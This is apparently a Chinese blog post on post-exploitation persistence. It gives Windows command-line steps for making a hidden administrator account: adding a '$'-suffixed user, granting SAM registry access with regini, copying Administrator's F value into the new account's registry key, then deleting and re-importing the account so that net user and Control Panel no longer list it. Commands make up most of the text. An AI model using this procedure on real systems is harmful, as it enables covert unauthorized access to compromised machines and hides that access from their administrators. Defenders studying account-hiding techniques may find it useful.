权限维持:Windows命令行下通过修改注册表创建隐藏帐号

场景:

后渗透在命令行下添加隐藏用户。

遇到一种情况:外网开了3389但是远程登录提示内部错误,查了下可能是用户远程桌面登录后断开没有注销导致,这时候就需要添加一个帐号来远程连接,又不想轻易被发现,所以就需要创建隐藏帐号(开机启动和控制面板都不能被发现)。网上查到的都是界面操作,命令行下的方法没找到,因此记录一下。

原理:

SID:安全标识符(Security Identifiers),是标识用户、组和计算机账户的唯一的号码。

在注册表中有两处保存了帐号的SID,一是注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下的子键名,另一处是该子键的子项F的值。但是Windows查询时用前者,登录时用的是后者,并且不同步两者。当用Administrator的F值覆盖其他帐号的F值后,帐号登录是管理员权限,但查询只会显示Administrator不会显示该帐号,因此可以创建隐藏帐号。

实验环境:

1
2
windows 7
权限:system

命令行下操作方法

1、创建用户:
1
2
net user test1$ test@123 /add
net localgroup administrators test1$ /add

image-20210118162416726

因为加了$,命令行下看不到test1$用户

1
net user

image-20210118170352532

但是控制面板还是可以看到用户

image-20210118170234490

2、查询注册表
1
reg query HKLM\SAM\SAM\Domains\Account\Users\Names\test1$ /ve

查询结果显示如下

image-20210118163401311

备注:如果是administrator权限,需要先给administrator加权。

1
2
3
# [1 8 17]表示赋予 administrator、everyone、system分别是完全控制、只读、完全控制权限
echo HKLM\SAM\SAM\Domains\Account\Users [1 8 17] >regini.ini
regini regini.ini
3、导出新建用户的注册项
1
2
reg export HKLM\SAM\SAM\Domains\Account\Users\Names\test1$ C:\test1.reg
type C:\test1.reg

可以看到类型为3ea,十六进制补全000003ea

image-20210118164057486

根据类型名称000003ea找到注册表项并导出

1
2
reg query HKLM\SAM\SAM\Domains\Account\Users\000003ea 
reg export HKLM\SAM\SAM\Domains\Account\Users\000003ea c:\3ea.reg

image-20210118164512199

4、将administrator注册表导出
1
2
默认administrator是000001f4
reg export HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001f4 C:\admin.reg

image-20210118165305029

5、修改注册文件

下载3ea.reg到本地,修改3ea.reg的F值为admin的F值,然后在上传到目标机

image-20210118165829455

6、命令行下删除test1$用户
1
net user test1$ /del

image-20210118170539082

7、重新导入文件
1
2
regedit /s c:\test1.reg
regedit /s c:\3ea.reg

导入后 可以通过net user test1$查询到,但是net user和控制面板都看不到

image-20210118170844837

界面操作可以参考渗透技巧—Windows系统的帐户隐藏

参考链接:

渗透技巧—Windows系统的帐户隐藏

使用Windows命令行reg控制注册表键值

Regini修改注册表权限命令